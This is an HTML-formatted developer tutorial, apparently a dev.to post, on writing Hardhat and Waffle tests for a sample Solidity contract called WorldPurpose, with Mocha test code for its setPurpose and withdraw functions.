&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F700%2F1%2AyUtwPqTpi2SYJV7W44qzWA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F700%2F1%2AyUtwPqTpi2SYJV7W44qzWA.png" alt="Increase local blockchain timestamp"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you call&lt;code&gt;increaseWorldTimeInSeconds(10, true)&lt;/code&gt;  it will increase the EVM internal timestamp 10 seconds ahead of the current time. After that, if you specify it, it will also mine a block to create a transaction.&lt;/p&gt;

&lt;p&gt;The next time that your contract will be called the  &lt;code&gt;block.timestamp&lt;/code&gt;  should be updated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to impersonate an account or a contract&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the latest contract, I needed to test an interaction from  &lt;code&gt;ContractA&lt;/code&gt;  that was calling  &lt;code&gt;ContractB&lt;/code&gt;. In order to do that I needed to impersonate ContractA&lt;/p&gt;

&lt;p&gt;It can be easily be done like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F700%2F1%2AsBSqkyAMDAimdZe6F0lpzA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F700%2F1%2AsBSqkyAMDAimdZe6F0lpzA.png" alt="Impersonate an account with hardhat"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Waffle
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F300%2F1%2A34ZMJXV7u6GtPXhaE8KPnA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F300%2F1%2A34ZMJXV7u6GtPXhaE8KPnA.png" alt="Waffle"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/index.html" rel="noopener noreferrer"&gt;Waffle&lt;/a&gt;  is a library for writing and testing smart contracts that work with ethers-js like a charm.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Waffle is packed with tools that help with that. Tests in waffle are written using&lt;/em&gt; &lt;a href="https://mochajs.org/" rel="noopener noreferrer"&gt;&lt;em&gt;Mocha&lt;/em&gt;&lt;/a&gt; &lt;em&gt;alongside with&lt;/em&gt; &lt;a href="https://www.chaijs.com/" rel="noopener noreferrer"&gt;&lt;em&gt;Chai&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. You can use a different test environment, but Waffle matchers only work with&lt;/em&gt; &lt;code&gt;_chai_&lt;/code&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To test our contract we will use  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html" rel="noopener noreferrer"&gt;Chai matchers&lt;/a&gt;  that will verify that the conditions we are expecting have been met.&lt;/p&gt;

&lt;p&gt;After you have written all your test you just need to type  &lt;code&gt;yarn test&lt;/code&gt;  and all your tests will be automatically run against your contract.&lt;/p&gt;

&lt;h3&gt;
  
  
  Chai matchers
&lt;/h3&gt;

&lt;p&gt;Matchers are utilities that make your test easy to write and read. When you write tests usually you can think about them like this&lt;/p&gt;

&lt;p&gt;&lt;code&gt;expect(SOMETHING_TO_EXPECT_TO_HAPPEN).aMatcher(HAPPENED);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So you are  &lt;strong&gt;expecting&lt;/strong&gt;  that something  &lt;strong&gt;matches&lt;/strong&gt;  something else that has happened.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  When you call  &lt;code&gt;contractA.emitEvent()&lt;/code&gt;  it will  &lt;strong&gt;emit&lt;/strong&gt;  a specific event  &lt;code&gt;NFTMinted&lt;/code&gt;  with specific parameters&lt;/li&gt;
&lt;li&gt;  When you call  &lt;code&gt;contractA.mint(10)&lt;/code&gt;  the transaction has been  &lt;strong&gt;reverted&lt;/strong&gt;  because users are allowed to mint at max 2 NFT per transaction&lt;/li&gt;
&lt;li&gt;  and so on&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ll list all the available matchers, go to the documentation to know how to use them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#bignumbers" rel="noopener noreferrer"&gt;Bignumber&lt;/a&gt;: testing equality of two big numbers (equal, eq, above, gt, gte, below, lt, lte, least, most, within, closeTo)&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#emitting-events" rel="noopener noreferrer"&gt;Emitting events&lt;/a&gt;: testing what events were emitted with what arguments. Only  &lt;code&gt;indexed&lt;/code&gt;  event parameters can be matched&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#called-on-contract" rel="noopener noreferrer"&gt;Called on contract&lt;/a&gt;: test if a specific function has been called on the provided contract. It can be useful to check that an external contract function has been correctly called. You can also check if that function has been called passing specific arguments.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#revert" rel="noopener noreferrer"&gt;Revert&lt;/a&gt;: test if a transaction has been reverted or has been reverted with a specific message.&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#change-ether-balance" rel="noopener noreferrer"&gt;Change ether balance&lt;/a&gt;: test that after a transaction the balance of a wallet (or multiple one) has changed of X amount of ETH. Note that  &lt;code&gt;changeEtherBalance&lt;/code&gt;  won’t work if there is more than one tx mined in the block and that the expected value ignores fee (gas) by default (you can change it via options)&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/matchers.html#change-token-balance" rel="noopener noreferrer"&gt;Change token balance&lt;/a&gt;: same thing as the  &lt;code&gt;changeEtherBalance&lt;/code&gt;  but this matcher tests that a specific token balance has changed of an X delta (instead of ETH).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Advanced Waffle
&lt;/h3&gt;

&lt;p&gt;Waffle offers much more than only matchers and you could build tests even without using hardhat as a local chain.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Creating a  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/basic-testing.html#creating-a-provider" rel="noopener noreferrer"&gt;Mocked Provider&lt;/a&gt;  for your tests&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/basic-testing.html#getting-wallets" rel="noopener noreferrer"&gt;Getting wallets&lt;/a&gt;  from a Mocked Provider&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/basic-testing.html#deploying-contracts" rel="noopener noreferrer"&gt;Deploying a contract&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://ethereum-waffle.readthedocs.io/en/latest/fixtures.html" rel="noopener noreferrer"&gt;Using fixtures&lt;/a&gt;  to speed up tests when you need to automate some tasks like deploying contracts and adding funds to them. Waffle execute once and then remember those scenarios by taking snapshots of the blockchain&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  WorldPurpose Contract
&lt;/h2&gt;

&lt;p&gt;I have created a basic smart contract in order to be able to write test coverage for it. The smart contract is called WorldPurpose and the scope for this contract is to allow people to set a World Purpose paying investment to be the one to decide which is the purpose for the whole of humanity. Everyone can override the world's purpose, you just need to invest more money. The previous owners of the purposes can withdraw their funds only when their purposes are overridden.&lt;/p&gt;

&lt;p&gt;The most important method in this smart contract are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;code&gt;function setPurpose(string memory  __purpose_) public payable onlyNewUser returns (Purpose memory  _newPurpose_)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;function withdraw() public&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s see the entire code of the contract, we are going to discuss how to create a test later on&lt;/p&gt;

&lt;h2&gt;
  
  
  Test Coverage
&lt;/h2&gt;

&lt;p&gt;Let’s assume that you already have a working hardhat project, fully set up with all the libraries installed. If you don’t already have one just clone my  &lt;a href="https://github.com/StErMi/solidity-template" rel="noopener noreferrer"&gt;solidity-template project&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So first of let’s set up the test file. Usually, I create a test file for each contract. If the contract is big, it has a lot of functions and so a lot of tests maybe it could be a good thing to split each function’s test into different files, but this is just up to you and how you usually manage your project’s structure.&lt;/p&gt;

&lt;p&gt;Let’s create a  &lt;code&gt;worldpurpose.js&lt;/code&gt;  file inside our  &lt;code&gt;/test&lt;/code&gt;  folder at the root of our project. If you want to use TypeScript (as I usually do, head over to the template project to see how to create tests with  &lt;a href="https://hardhat.org/plugins/typechain-hardhat.html" rel="noopener noreferrer"&gt;TypeChain&lt;/a&gt;  and Typescript)&lt;/p&gt;

&lt;p&gt;Inside of it, we are going to write this code that I’ll explain&lt;/p&gt;

&lt;p&gt;&lt;code&gt;describe&lt;/code&gt;  is a function that describes what the test is about, what we are going to be testing in this file. It’s useful to structure and read the code and organize the output of our shell when we will run the test.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;beforeEach&lt;/code&gt;  is a function that is executed before every single test. In this case for each test that we add to our test coverage file, a new  &lt;code&gt;worldPurpose&lt;/code&gt;  contract will be deployed. We want to do that because in this case we always want to start a test from a clean checkpoint (everything is reset).&lt;/p&gt;

&lt;p&gt;Now, for every function, we are going to set up a new  &lt;code&gt;describe&lt;/code&gt;  function. And inside of them, we will create a test to cover a specific scenario thanks to the function  &lt;code&gt;it&lt;/code&gt;  that will run the test itself.&lt;/p&gt;

&lt;p&gt;For example&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Test withdraw&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
  &lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You cant withdraw when your balance is empty&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;revertedWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You don't have enough withdrawable balance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;  
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok now that we know how to structure a test let’s review them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create tests for the  &lt;em&gt;setPurpose&lt;/em&gt;  function
&lt;/h3&gt;

&lt;p&gt;If we review the solidity code of the function we see that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  it has a  &lt;code&gt;function modifier&lt;/code&gt;  &lt;code&gt;onlyNewUser&lt;/code&gt;  that check that the  &lt;code&gt;msg.sender&lt;/code&gt;  is different from the current purpose owner. We don’t want that the owner can override his/her purpose&lt;/li&gt;
&lt;li&gt;  it requires that ether be sent (the method declared as  &lt;code&gt;payable&lt;/code&gt;) is greater than the current purpose  &lt;code&gt;investment&lt;/code&gt;  value&lt;/li&gt;
&lt;li&gt;  it requires that the  &lt;code&gt;string memory _purpose&lt;/code&gt;  input parameter (the purpose value) is not empty&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything passes these checks the function will&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  update the current purpose&lt;/li&gt;
&lt;li&gt;  track the investment of new purpose’s owner in a  &lt;code&gt;balances&lt;/code&gt;  variables&lt;/li&gt;
&lt;li&gt;  emit a  &lt;code&gt;PurposeChange&lt;/code&gt;  event&lt;/li&gt;
&lt;li&gt;  return the new  &lt;code&gt;purpose&lt;/code&gt;  struct&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For each of these requirements, state changes, event emitted, and returned value we need to create a test. Keep in mind that this is a “simple contract” without contract-to-contract interactions or complex logic.&lt;/p&gt;

&lt;p&gt;These are the test we need to implement:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; ❌ user can’t override his/her own purpose&lt;/li&gt;
&lt;li&gt; ❌ user can set a purpose if the investment is 0&lt;/li&gt;
&lt;li&gt; ❌ purpose message must be not empty&lt;/li&gt;
&lt;li&gt; ❌ if there’s already a purpose and the user wants to override it, he/she must invest more than the current purpose’s investment&lt;/li&gt;
&lt;li&gt; ✅ user set a purpose successfully when there’s no current purpose&lt;/li&gt;
&lt;li&gt; ✅ user overrides the previous purpose&lt;/li&gt;
&lt;li&gt; ✅ setting a purpose correctly emit the  &lt;code&gt;PuposeChange&lt;/code&gt;  event&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s review some of those. This is the code that covers the first scenario in the previous list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;You can't override your own purpose&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setPurpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;I'm the new world purpose!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.10&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setPurpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;I want to override the my own purpose!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.11&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;revertedWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;You cannot override your own purpose&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, we want to test that if the current owner of the purpose tries to override his/her own purpose the transaction will be reverted.&lt;/p&gt;

&lt;p&gt;Let’s review the code&lt;/p&gt;

&lt;p&gt;&lt;code&gt;worldPurpose&lt;/code&gt;  is the variable that contains the deployed contract (deployed by the  &lt;code&gt;beforeEach&lt;/code&gt;  method before every test)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;worldPurpose.connect(addr1)&lt;/code&gt;  allow you to connect to the contract with the wallet’s address of the account  &lt;code&gt;addr1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;await worldPurpose.connect(addr1).setPurpose("I'm the new world purpose!", {&lt;br&gt;&lt;br&gt;
  value: ethers.utils.parseEther('0.10'),&lt;br&gt;&lt;br&gt;
});&lt;/p&gt;

&lt;p&gt;&lt;code&gt;addr1&lt;/code&gt;  invoke the  &lt;code&gt;setPurpose&lt;/code&gt;  function of the  &lt;code&gt;worldPurpose&lt;/code&gt;  contract passing  &lt;code&gt;I’m the new world purpose!&lt;/code&gt;  as  &lt;code&gt;_purpose&lt;/code&gt;  input parameter. The  &lt;code&gt;value&lt;/code&gt;  parameter is how much ether will be sent with the transaction. In this case  &lt;code&gt;0.10 ETH&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The second part of the test tries to repeat the same operation but we already know that it will fail because the same address cannot override the purpose.&lt;/p&gt;

&lt;p&gt;We are going to use the &lt;strong&gt;Waffle matcher&lt;/strong&gt;  to check that the transaction has been  &lt;strong&gt;reverted&lt;/strong&gt;  with a  &lt;strong&gt;specific error message&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;await expect(tx).to.be.revertedWith('You cannot override your own purpose');&lt;br&gt;&lt;br&gt;
});&lt;/p&gt;

&lt;p&gt;Easy right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now it’s your turn to write all the other reverting tests that need to be covered.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s see the code of a “success” scenario (the fifth one on the previous list) where we want to cover the case where the user successfully overrides a purpose.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;set purpose success when there's no purpose&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;purposeTitle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Reduce the ETH fee cost in the next 3 months&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;purposeInvestment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;utils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseEther&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;setPurpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;purposeTitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;purposeInvestment&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
  &lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="c1"&gt;// Check that the purpose has been set  &lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;currentPurpose&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getCurrentPurpose&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;purpose&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;purposeTitle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;investment&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;purposeInvestment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;// Check that the balance has been updated  &lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;worldPurpose&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;addr1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  
  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;purposeInvestment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have already explained the first part where the  &lt;code&gt;addr1&lt;/code&gt;  call the  &lt;code&gt;setPurpose&lt;/code&gt;  function.&lt;/p&gt;

&lt;p&gt;Now we want to be sure that the purpose has been written into the contract’s state and that the user’s investment has been tracked correctly into the  &lt;code&gt;balances&lt;/code&gt;  variable.&lt;/p&gt;

&lt;p&gt;We call the  &lt;code&gt;getCurrentPurpose&lt;/code&gt;  getter function to get the current purpose of the contract and for each member of the  &lt;code&gt;struct Purpose&lt;/code&gt;  we check that the  &lt;strong&gt;value&lt;/strong&gt;  is  &lt;strong&gt;equal&lt;/strong&gt; (&lt;code&gt;.to.be&lt;/code&gt;)  to the one we  &lt;strong&gt;expect&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After that, we check that the balance of  &lt;code&gt;addr1&lt;/code&gt;  (&lt;code&gt;worldPurpose.connect(addr1).getBalance()&lt;/code&gt;) is equal to the amount of ether we have sent with the transaction.&lt;/p&gt;

&lt;p&gt;We could also check that the event  &lt;code&gt;PurposeChange&lt;/code&gt;  has been emitted by the function (in the code we are doing it in another test). To do that we can write&lt;/p&gt;

&lt;p&gt;await expect(tx).to.emit(worldPurpose, 'PurposeChange').withArgs(addr1.address, purposeTitle, purposeInvestment);&lt;/p&gt;

